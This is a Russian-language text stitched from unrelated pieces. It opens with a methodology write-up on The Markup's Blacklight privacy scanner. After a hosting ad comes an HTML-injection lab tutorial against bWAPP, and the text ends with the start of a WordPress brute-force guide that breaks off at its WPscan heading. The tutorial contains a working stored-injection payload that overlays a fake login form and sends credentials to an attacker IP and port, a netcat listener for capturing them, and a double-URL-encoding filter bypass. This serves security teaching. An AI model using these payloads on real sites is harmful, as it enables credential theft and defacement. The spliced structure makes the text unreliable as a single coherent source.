Тестирование сайтов

Blacklight это инспектор конфиденциальности веб-сайтов, выполняющий проверку в реальном времени.

Этот инструмент эмулирует способы наблюдения за пользователем, просматривающим веб-страницы. Пользователи вводят в Blacklight нужный URL, инспектор переходит на веб-сайт, сканирует известные типы нарушений конфиденциальности и сразу же возвращает анализ конфиденциальности исследованного сайта.

Принцип работы Blacklight заключается в посещении каждого веб-сайта headless-браузером (браузером без графического интерфейса), в котором запущено специализированное ПО, созданное The Markup. Это ПО отслеживает, какие скрипты на сайте потенциально могут наблюдать за пользователем, выполняя семь тестов, каждый из которых исследует отдельный известный способ наблюдения.


Blacklight отслеживает следующие типы наблюдения:

• Куки сторонних доменов
• Рекламные трекеры
• Кейлоггеры
• Запись сессий
• Фингерпринтинг по Canvas
• Отслеживание Facebook
• Remarketing Audiences Google Analytics

Подробнее о них и их ограничениях рассказывается ниже.

Blacklight создан на основе Javascript-окружения NodeJS, Node-библиотеки Puppeteer, обеспечивающей высокий уровень контроля поверх браузера Chromium (open-source Chrome). Когда пользователь вводит URL в Blacklight, инструмент запускает headless-браузер с новым профилем и посещает главную страницу сайта, а также случайно выбранную страницу, находящуюся глубже внутри того же веб-сайта.

Кто подглядывает за вами, пока вы работаете, учитесь или бродите по Интернету?

Пока браузер посещает веб-сайт, он выполняет в фоновом режиме специализированное ПО, отслеживающее скрипты и сетевые запросы, чтобы понять, когда и как собираются пользовательские данные. Для мониторинга скриптов Blacklight модифицирует различные свойства Window API браузера, которые можно использовать для фингерпринтинга. Это позволяет Blacklight фиксировать, какой скрипт выполнил вызов определённой функции с помощью пакета Stacktrace-js. Сетевые запросы собираются при помощи инструмента мониторинга, содержащегося в API Puppeteer.

Blacklight использует данные скриптов и сетевые запросы для выполнения перечисленных выше семи тестов. После этого он закрывает браузер и генерирует отчёт для пользователя.

Он записывает список всех URL, которые запрашивал исследуемый веб-сайт. Кроме того, он создаёт список всех запрошенных доменов и поддоменов. Публично доступный инструмент не сохраняет эти списки, только если пользователь не решил поделиться результатами с нами при помощи соответствующей опции.

Мы определяем имена доменов с помощью способа Public Suffix + 1. Под понятием собственного домена (first-party domain) мы подразумеваем любой домен, соответствующий посещаемому веб-сайту, в том числе и поддомены. Под понятием стороннего (third-party) мы подразумеваем любой домен, не соответствующий посещаемому веб-сайту. Инструмент сравнивает список сторонних доменов из запросов веб-сайта с набором данных Tracker Radar сайта DuckDuckGo.

Это слияние данных позволяет Blacklight добавлять следующую информацию о сторонних доменах, найденных на исследуемом сайте:

1. Имя владельца домена.
2. Категории, присвоенные DuckDuckGo каждому домену с описанием его наблюдаемых задач и намерений.

Эта дополнительная информация о сторонних доменах предоставляется пользователям в качестве контекста результатов тестов Blacklight. Среди прочего, эта информация используется для подсчёта количества относящихся к рекламе трекеров, присутствующих на веб-сайте.

Blacklight выполняет тесты на основании корневого URL страницы, введённого в интерфейс инструмента. Например, если пользователь вводит example.com/sports, то Blacklight начинает исследование с example.com, отбрасывая путь /sports. Если пользователь вводит sports.example.com, то Blacklight начинает исследование с sports.example.com.

Результаты проверок Blacklight каждого запрошенного домена кэшируются на 24 часа; такие кэшированные отчёты возвращаются в ответ на последующие запросы пользователей того же веб-сайта, выполненные в течение этих 24 часов. Это сделано для того, чтобы предотвратить злонамеренное использование инструмента попытками перегрузить веб-сайт тысячами автоматизированных посещений.

Blacklight также сообщает пользователям, оказались ли их результаты выше, ниже или примерно равными по сравнению с результатами 100 000 наиболее популярных веб-сайтов из рейтинга Tranco List. Подробнее об этом написано ниже.

Кодовая база Blacklight выложена в open source и доступна на Github; также её можно скачать как NPM-модуль.

Наш анализ обладает ограничениями. Blacklight эмулирует посещающего веб-сайт пользователя, но его автоматизированное поведение отличается от человеческого, и такое поведение может инициировать различные виды надсмотра. Например, автоматизированный запрос может инициировать больше проверок мошенничества, но меньше рекламы.

Учитывая динамичную природу веб-технологий, существует также возможность того, что некоторые из этих тестов со временем устареют. Кроме того, могут появиться новые допустимые способы использования технологий, которые Blacklight посчитает нарушениями.

По этой причине результаты Blacklight нельзя рассматривать как окончательное решение о потенциальных нарушениях конфиденциальности веб-сайта. Скорее, их следует расценивать как первоначальное автоматизированное исследование, требующее для принятия окончательного решения дополнительного изучения.

Предыдущие работы

Blacklight создан на основе различных инструментов контроля конфиденциальности, написанных в последнее десятилетие.

Он выполняет средства Javascript, что позволяет ему отслеживать вызовы Javascript API браузеров. Этот аспект работы основан на OpenWPM инструменте с открытым исходным кодом для измерения веб-конфиденциальности, созданном Стивеном Энглехардом, Гунесом Акаром, Диллоном Рейсманом и Арвиндом Нараянаном из Принстонского университета. Сейчас этот инструмент поддерживается Mozilla.

OpenWPM использовался в принстонском Web Transparency and Accountability Project, который выполнял мониторинг веб-сайтов и сервисов для изучения того, как компании собирают и используют данные, а также вводят пользователей в заблуждение.

Благодаря множеству исследований, проведённых в период с 2015 по 2019 годы, исследователи Принстона выявили наличие множества технологий нарушения конфиденциальности. В их число вошли фингерпринтинг браузеров и синхронизация куки, а также скрипты воссоздания сессий, собирающие пароли и важные пользовательские данные. Одним из примечательных примеров является просачивание данных о выписанных рецептах и состоянии здоровья с walgreens.com.

Пять из семи выполняемых Blacklight тестов основаны на техниках, описанных в вышеупомянутом принстонском исследовании. Это фингерпринтинг по canvas, кейлоггинг, запись сессий и куки сторонних доменов.

OpenWPM содержит в себе код и техники из других инструментом изучения конфиденциальности, в том числе из FourthParty, Privacy Badger и FP Detective:

• FourthParty была open-source-платформой для измерения динамичекого веб-контента, запущенной в августе 2011 года, которая поддерживалась до 2014 года. Её применяли в различных исследованиях, в частности, в исследовании, описывающем способ, которым веб-сайты наподобие Home Depot обеспечивали утечку имён своих пользователей третьей стороне. Blacklight использует методику FourthParty по мониторингу передачи пользовательской информации, передаваемой по сети третьей стороне.
• Privacy Badger это расширение браузера, созданное Electronic Frontier Foundation и выпущенное в мае 2014 года. Оно не позволяет рекламным сетям и сторонним трекерам следить за людьми в Интернете.
• FP Detective было первым подробным исследованием для измерения объёма фингерпринтинга устройств в Интернете. Этот инструмент был выпущен в 2013 году и использовался для проведения широкомасштабных исследований конфиденциальности в вебе.

Разработчики анализа данных Blacklight частично вдохновлялись Website Evidence Collector, разработанным Electronic Data Protection Supervisor (EDPS) из Евросоюза. Website Evidence Collector это пакет NodeJS, использующий библиотеку Puppeteer для изучения того, как веб-сайт собирает пользовательские персональные данные. Часть категорий собираемых данных была выбрана EDPS.

Среди других проектов, повлиявших на разработку Blacklight, были Web Privacy Census, проведённый Калифорнийским университетом в Беркли в 2012 году, и серия What They Know Wall Street Journal.

Как мы анализировали каждый тип трекинга

Куки сторонних доменов

Куки сторонних доменов это небольшие фрагменты данных, которые отслеживающие компании сохраняют в веб-браузере пользователя при посещении им веб-сайта. Это фрагмент текста, обычно уникальный номер или строка символов, который идентифицирует посетителя при посещении других веб-сайтов, содержащих код трекинга, принадлежащий той же компании. Куки сторонних доменов используются сотнями компаний для сбора досье о пользователях и показа индивидуальной рекламы на основании их поведения.

Популярные браузеры Edge, Brave, Firefox и Safari по умолчанию блокируют куки слежения сторонних доменов, а разработчики Chrome объявили, что откажутся от них.

Что тестирует Blacklight

Blacklight выполняет мониторинг сетевых запросов заголовка Set-Cookie и следит за всеми доменами, устанавливающими куки при помощи javascript-свойства document.cookie. Blacklight определяет куки сторонних доменов как куки, чей домен не соответствует посещаемому веб-сайту. Мы ищем эти сторонние домены в данных DuckDuckGo Tracker Radar, чтобы узнать, кто ими владеет, насколько часто они используются, и какие виды услуг они предоставляют.

Кейлоггинг

Кейлоггинг это процесс отслеживания сторонними лицами текста, который пользователь вводит на веб-странице перед нажатием на кнопку отправки. Эта методика используется с различными целями, в том числе для идентификации анонимных пользователей, сопоставления их с почтовыми адресами и реальными именами.

Существуют и другие причины для кейлоггинга, например, обеспечение функции автозаполнения. Blacklight не может распознавать намерений, с которыми изучаемый веб-сайт использует эту методику.

Что тестирует Blacklight

Чтобы протестировать, происходит ли кейлоггинг на сайте, Blacklight вводит заранее заданный текст (см. Приложение) во все поля ввода, но никогда не нажимает на кнопку отправки. Он отслеживает сетевые запросы, чтобы проверить, передаются ли введённые данные каким-нибудь серверам.

Запись сессий

Запись сессий (Session recording) это технология, позволяющая третьим сторонам отслеживать и записывать всё поведение пользователя на веб-странице, в том числе движения мыши, нажатия, скроллинг страницы и весь ввод в формы даже без нажатия кнопки отправки.

В исследовании 2017 года исследователи Принстонского университета выяснили, что программы записи сессий собирают важную информацию, например, пароли и номера кредитных карт. Когда исследователи связались с соответствующими компаниями, большинство из них отреагировало быстро и устранило причину утечек данных. Однако в исследовании подчёркивается, что это не просто баги, а, скорее, небезопасные практики, которые, по словам исследователей, должны быть полностью прекращены. Большинство компаний, предоставляющих функцию записи сессий, сообщают, что используют данные для того, чтобы дать своим заказчикам (веб-сайтам, устанавливающим технологию) полезные сведения о том, как повысить удобство пользования веб-сайтом. Одна из компаний, Inspectlet, описывает свой сервис как отслеживание поведения отдельных пользователей на сайте так, как будто мы стоим у них за спиной. (Inspectlet не ответила на письмо с просьбой о комментариях.)


Скриншот сайта Inspectlet, известного поставщика услуг записи сессий.

Что тестирует Blacklight

Под записью сессий мы понимаем загрузку особого типа скрипта компанией, которая известна предоставлением услуг записи сессий.

Blacklight выполняет мониторинг сетевых запросов специфических подстрок URL, которые согласно списку, созданному исследователями Принстонского университета в 2017 году, встречаются только при записи сессий.

Иногда в рамках записи сессий выполняется кейлоггинг. В таких случаях Blacklight корректно сообщает о записи сессий и как о кейлоггинге, и как о записи сессий, поскольку наблюдаются оба поведения, даже несмотря на то, что оба теста распознали одинаковый скрипт.

Blacklight точно распознаёт ситуации, в которых веб-сайт загружает эти скрипты, однако компании обычно записывают только выборку из посещений сайта, поэтому записывается не каждый пользователь и не при каждом посещении.

Фингерпринтинг по Canvas

Под фингерпринтингом подразумевается группа методик, пытающихся идентифицировать браузер без создания куки. Они могут идентифицировать пользователя, даже если он заблокировал все куки.

Фингерпринтинг по Canvas это тип фингерпринтинга, идентифицирующий пользователя отрисовкой фигур и текста на веб-странице пользователя, замечая малейшие различия в способе их рендеринга.


Четыре примера фингерпринтинга по canvas, обнаруженных Blacklight.

Эти различия в рендеринге шрифтов, сглаживании, антиалиасинге, а также в других аспектах используются маркетологами и другими специалистами для идентификации отдельных устройств. Все основные Интернет-браузеры, за исключением Chrome, пытаются противодействовать фингерпринтингу по canvas, или не выполняя запросы данных для скриптов, замеченных в подобных практиках, или стремясь стандартизировать фингерпринты пользователей.

На изображении выше показаны примеры типов canvas-изображений, используемых скриптами фингерпринтинга. Такие canvas обычно невидимы для пользователя.

Что тестирует Blacklight

Мы следуем методологии, описанной в этой статье исследователями Принстонского университета, чтобы распознавать, когда HTML-элемент canvas используется для слежения. Для идентификации canvas, отрисовываемых при фингерпринтинге, мы используем следующие параметры:

• Свойства height и width элемента canvas не должны быть меньше 16px.
• Тест должен записываться на canvas не менее чем десятью символами.
• Скрипт не должен вызывать методы save, restore или addEventListener контекста рендеринга.
• Скрипт извлекает изображение при помощи toDataURL или единственным вызовом getImageData, указывающим область размером не менее 16px 16px.

Мы не наблюдали этого на практике, однако возможно, что Blacklight может ошибочно маркировать обоснованное использование canvas, соответствующее этим эвристикам. Чтобы учесть это, инструмент захватывает отрисовываемое скриптом изображение и рендерит его. Пользователи могут определить способ использования canvas, просто посмотрев на изображение. Результаты работы типичного скрипта фингерпринтинга показаны выше.

Рекламные трекеры

Рекламные трекеры (Ad trackers) это технологии, идентифицирующие и собирающие информацию о пользователях. Такие технологии обычно (но не всегда) используются в какой-то мере с согласия владельцев веб-сайта. Они применяются для сбора аналитики о пользователях веб-сайта, для таргетинга рекламы, а также брокерами данных и другими сборщиками информации для создания своих профилей пользователей. Обычно они принимают форму скриптов на Javascript и web beacon.

Web beacon это небольшие изображения размером 1px x 1px, размещаемые на веб-сайтах сторонними лицами с целью слежения. С помощью этой техники сторонние лица могут определять поведения пользователей: когда конкретный пользователей вошёл на сайт, тип его браузера и используемый IP-адрес.

Что тестирует Blacklight

Blacklight проверяет все сетевые запросы по списку EasyPrivacy, содержащему URL и подстроки URL, известные выполнением трекинга. Blacklight отслеживает сетевую активность запросов, выполняемых к этим URL и подстрокам.

Blacklight записывает запросы, выполняемые только к сторонним доменам. Он игнорирует любые паттерны URL в списке EasyPrivacy, соответствующие собственному домену URL. Например, EFF хранит собственную аналитику, из-за чего выполняет запросы к своему поддомену аналитики https://anon-stats.eff.org. Если пользователь вводит eff.org, то Blacklight не считает вызовы anon-stats.eff.org запросами к сторонним доменам.

Мы находим эти сторонние домены в наборе данных DuckDuckGo Tracker Radar, чтобы узнать, кому они принадлежат, насколько они распространены и какие типы услуг предоставляют. Мы включаем в список только те сторонние домены, которые относятся к категориям Трекинг с целью рекламы (Ad Motivated Tracking) набора данных Tracker Radar.

Пиксель Facebook

Пиксель Facebook это созданный Facebook программный код, позволяющий другим веб-сайтам таргетировать своих посетителей при помощи рекламы на Facebook. Среди наиболее распространённых действий, отслеживаемых пикселем, являются просмотр страницы или определённого контента, добавление платёжной информации или совершение покупки.

Что тестирует Blacklight

Blacklight ищет сетевые запросы с сайта, ведущие на Facebook, и изучает параметры запроса данных URL, соответствующие схеме, описанной в документации пикселя Facebook. Мы ищем три разных типа данных: "standard events", custom events и "advanced matching".

Remarketing Audiences Google Analytics

Google Analytics это самая популярная сегодня платформа аналитики веб-сайтов. Согласно данным whotracks.me, 41,7% веб-трафика анализируется Google Analytics. Хотя бОльшая часть функциональности этого сервиса заключается в предоставлении разработчикам и владельцам веб-сайтов информации о том, как аудитория сайта взаимодействует с ним, этот инструмент также позволяет веб-сайту создавать собственные списки аудитории на основании поведения пользователей, а затем таргетировать рекламу для этих посетителей в Интернете при помощи Google Ads и Display & Video 360. Blacklight изучает исследуемые сайты на наличие этого инструмента, но не способа его использования.

Что тестирует Blacklight

Blacklight ищет сетевые запросы от исследуемого сайта, идущие к URL, начинающегося с stats.g.doubleclick, который также содержит префикс идентификатора аккаунта Google UA-. Подробнее это описано в документации разработчика Google Analytics.

Обследование

Для определения распространённости в Интернете технологий слежения мы протестировали с помощью Blacklight 100 000 наиболее популярных по данным Tranco List веб-сайтов. Данные и код анализа можно найти на Github. Blacklight успешно зафиксировал данные для 81 593 из этих URL. Для остальных или не удалось выполнить резолвинг, или произошёл таймаут после нескольких попыток, или не получилось загрузить веб-страницу. Показанные ниже процентные показатели рассчитаны на основании 81 617 успешных результатов.

Основные открытия, сделанные в нашем обзоре:

• 6% веб-сайтов использовало фингерпринтинг по canvas.
• 15% веб-сайтов загружало скрипты из известных сервисов записи сессий.
• 4% веб-сайтов выполняло логгинг нажатий клавиш.
• 13% сайтов не загружало никаких куки сторонних доменов или запросов сетей слежения.
• Медианное количество куки сторонних доменов равно трём.
• Медианное количество загруженных рекламных трекеров равно семи.
• 74% сайтов загружало технологию слежения Google.
• 33% веб-сайтов загружало технологию слежения Facebook.
• 50% сайтов использовало функцию ремаркетинга Google Analytics.
• 30% сайтов использовало пиксель Facebook.

Мы классифицировали как технологию слежения Google любые сетевые запросы, выполняемые к любому из следующих доменов:

• google-analytics.com
• Doubleclick.net
• Googletagmanager.com
• Googletagservices
• Googlesyndication.com
• Googleadservices
• 2mdn.net

Мы классифицировали как технологию слежения Facebook любые сетевые запросы, выполняемые к любому из следующих доменов Facebook:

• facebook.com
• Facebook.net
• atdmt.com

Ограничения

Анализ Blacklight ограничен четырьмя основными факторами:

1. Это симуляция поведения пользователей, а не истинное их поведение, что может способствовать срабатыванию других реакций систем слежения.
2. Исследуемый веб-сайт может отслеживать действия пользователя с благими целями.
3. Ложноположительные срабатывания (возможны в отношении фингерпринтинга по canvas): очень изредка обоснованное использование HTML-элемента canvas совпадает с эвристиками, которые Blacklight использует для идентификации фингерпринтинга по canvas.
4. Ложноотрицательные срабатывания: используемая Javascript-средствами Blacklight техника отслеживания стеков может некорректно связать вызов отслеживаемого метода window API с добавленной скриптом библиотекой. Например, если скрипт фингерпринтинга использует для выполнения вызовов jQuery, то в результате jQuery может оказаться на вершине стека, и Blacklight свяжет вызов с ним, а не со скриптом. На эту возможность нам указали исследователи, проводившие рецензирование нашей методологии; такого не происходило ни в наших тестах, ни при проверке 100 000 самых популярных сайтов.

Что касается ложноположительных срабатываний, когда Blacklight посещает сайт, то этот сайт может увидеть, что запрос поступает с компьютеров, расположенных в облачной инфраструктуре Amazon AWS. Так как в облачной инфраструктуре часто работают ботнеты, наш инструмент может привести к срабатыванию на сайте ПО распознавания ботов, в том числе и фингерпринтинга по canvas. Это может привести к ложноположительным результатам теста фингерпринтинга по canvas, несмотря на то, что тест используется не для слежения за пользователями, а для распознавания ботнетов.

Чтобы протестировать это, мы взяли случайную выборку в 1 000 сайтов из вершины списка Tranco List, которые мы уже пропускали через Blacklight на AWS. Мы пропустили эту выборку через ПО Blacklight на нашем локальном компьютере, имеющем IP-адрес в Нью-Йорке, и пришли к выводу, что результаты выполняемой локально проверки Blacklight очень похожи, но не точно совпадают с результатами запуска в облачной инфраструктуре.

Результаты для выборки: локальный компьютер и AWS

Не все действия по отслеживанию, которые незаметны для пользователя, обязательно являются злонамеренными. Например, фингерпринтинг по canvas используется для предотвращения мошенничества, потому что он позволяет идентифицировать устройство. А кейлоггинг может использоваться для реализации функции автозаполнения.

Blacklight не пытается делать выводов о причинах использования обнаруживаемых им конкретных технологий слежения.

Не может Blacklight и точно определить, как веб-сайт использует собираемые им данные о пользователе, загружая скрипты записи сессий и мониторинга поведения пользователей, например, перемещения мыши и нажатия клавиш.

Blacklight не проверят условия использования и политики конфиденциальности веб-сайтов на то, раскрываются ли в них их действия по слежению за пользователями.

Приложение

Значения полей ввода

В показанной ниже таблице перечислены значения, которые мы прописали в Blacklight для ввода в поля ввода на веб-сайтах. В качестве справки мы использовали статью Mozilla об атрибуте autocomplete. Blacklight также выполняет проверку на наличие версий этих значений в base64, md5, sha256 и sha512.

Благодарности

Мы благодарим Гунеса Акара (Левенский университет), Стивена Энглехарда (Mozilla), Арвинда Нараянана и Джонатана Майера (Принстон Princeton, CITP) за комментарии и предложения к черновику статьи.

---

На правах рекламы

Серверы для размещения сайтов это эпичные от Вдсины.
Используем исключительно быстрые NVMe накопители от Intel и не экономим на железе только брендовое оборудование и самые современные решения на рынке!

HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.

Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.

Содержание:

• Что такое HTML?
• Что такое HTML-инъекция?
• Угрозы HTML-инъекции
• HTML-инъекция и XSS
• Типы инъекций
  
  • Сохраненный HTML
  • Отраженный HTML
    
    • GET
    • POST
    • Текущий URL
• Защита от HTML-инъекции

Что такое HTML?

HTML (HyperText Markup Langauge) это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из гипертекста, чтобы включить текст внутри текста в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.

Что такое элемент?

Элемент это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними.

HTML-тег

Тег HTML маркирует фрагменты содержимого, такие как:

• заголовок
• абзац
• форма и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:

• начальный тег (открывающий тег)
• конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.

Атрибуты HTML

Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами имя/значение, так что за именем атрибута следует знак равенства и значение атрибута.

<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:

• href это имя атрибута
• https://alexhost.com значение атрибута

Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.

Базовая HTML-страница

Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением .html, которые сохраняются и запускаются через веб-браузер.

Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:

<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=http://hackingarticles.in>HACKING ARTILCES </a></h2><br><p>Author Raj Chandel</p></center></body></html>

• html корневой элемент каждой HTML-страницы
• head метаинформацию о документе
• title заголовок веб-страницы
• body видимое содержимое страницы с атрибутом bgcolor как розовый.
• br определяет строку разрыва или следующую строку.
• h1 большой заголовок.
• p абзац
• a тег привязки, который помогает нам установить гиперссылку.

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.

Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.

Что такое HTML-инъекция?

HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.

Возникает, когда веб-страница не может:

• Дезинфицировать вводимые пользователем данные
• Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.

Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.

Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную HTML-форму входа с приманкой, например, Бесплатные билеты в кино, чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.

Теперь на пораженной странице пользователи будут видеть приманку Бесплатные билеты в кино, при клике по которой откроется фиктивная форма входа, созданная злоумышленником.

Угрозы HTML-инъекции

Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:

• с использованием межсайтовых скриптов (XSS)
• подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS

На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.

Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.

Сохраненный HTML

Сохраненный HTML внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML это опция комментариев в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.

Использование сохраненного HTML

Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.

Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра Choose Your Bug значение HTML Injection Stored (Blog) и активировал кнопку взлома.

Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.

Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в Поле ввода.

Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://personeltest.ru/away/192.168.0.7:4444/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form>

На изображении ниже видно, что при нажатии кнопки Submit появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.

Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.

nc lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.

На изображении выше видим, что пользователь Raj открыл веб-страницу и попытался войти в учетную запись с помощью пароля 123. Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.

На изображении видно, что мы успешно получили учетные данные.

Отраженный HTML

Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.

Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.

Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.

Отраженный HTML бывает трех типов:

• Отраженный HTML GET. Запрашивает данные из определенного источника.
• Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
• Отраженный HTML Текущий URL.

Отраженный HTML GET

Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь Raj Chandel отправляет свой отзыв как Good, появляется сообщение Thanks to Raj Chandel for your valuable time.

Этот мгновенный ответ и пара имя/значение в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.

Давайте теперь попробуем ввести несколько HTML-кодов в эту форму и проверим уязвима страница или нет.

<h1>Raj Chandel</h1>

Установите "Отзыв" на "Good".

На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.

Почему это произошло? Давайте посмотрим на следующий фрагмент кода.

Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной $ _GET.

Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации.

На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.

Значит ли это, что уязвимость здесь залатана?

Давайте проверим все это, перехватив его исходящий запрос с помощью burp suite, а затем отправим захваченный запрос прямо на вкладку Repeater.

На вкладке Repeater, при нажатии кнопки Go мы видим, что HTML объекты были здесь декодированы:

Копируем весь HTML-код:

<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>

Вставляем его во вкладку Decoder, нажимаем Encode as и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в Encode as для URL, чтобы получить его как в формате двойного URL-кодирования.

Теперь скопируем полный URL с двойной кодировкой и вставим его в поле name = на вкладке Repeater в параметре Request. Нажмите кнопку GO, чтобы проверить сгенерированный ответ.

Отлично!!! На изображении видно, что ответ успешно обработан.

Теперь остается просто внести аналогичные изменения во вкладку Proxy и нажать кнопку Forward. На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.

Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.

На изображении ниже видно, что здесь разработчик сделал функцию hack для переменных данных. Он даже декодировал < и > для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.

На изображении ниже видно, что разработчик реализовал функцию hack в поле имени.

Отраженный HTML POST

Как и в случае с веб-страницей GET, здесь также уязвимы поля Имя и Отзыв.
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.

<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип Ignite technologies был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:

• Видео
• Аудио
• Гифки

Отраженный HTML Текущий URL

Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:

• Поле комментариев
• Поле поиска
• Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.

На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как http://192.168.0.16/hack/html_URL.php. Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.

Настройте свой burp suite и захватите текущий HTTP-запрос.

Теперь обработаем этот запрос с помощью:

/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 

Нажмите кнопку Forward, чтобы проверить результат в браузере.

Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.

Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на HTTP_HOST и запрошенное местоположение ресурса на URL-адрес с REQUEST_URI и поместил все это в переменную $url.

Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.

Защита от HTML-инъекции

• Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
• Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

В этой статье вы узнаете о том, как взламывать учетные данные сайтов на WordPress с помощью различных брутфорс атак.

Содержание:

• Предварительные требования
• WPscan
• Metasploit
• Люкс Burp
• Как обезопасить сайт от брутфорса?

Предварительные требования

• Сайт на WordPress. Здесь мы будем использовать собственную лабораторию для пентеста, о созданию которой был посвящен наш предыдущий пост.
• Kali Linux (WPscan). Более подробно о WPScan и его возможностях мы уже писали, а вместо Kali Linux можно использовать любую другую из ОС для белого хакинга.
• Burp Suite (Intruder). Более подробно о данном инструменте можно узнать здесь.

WPscan

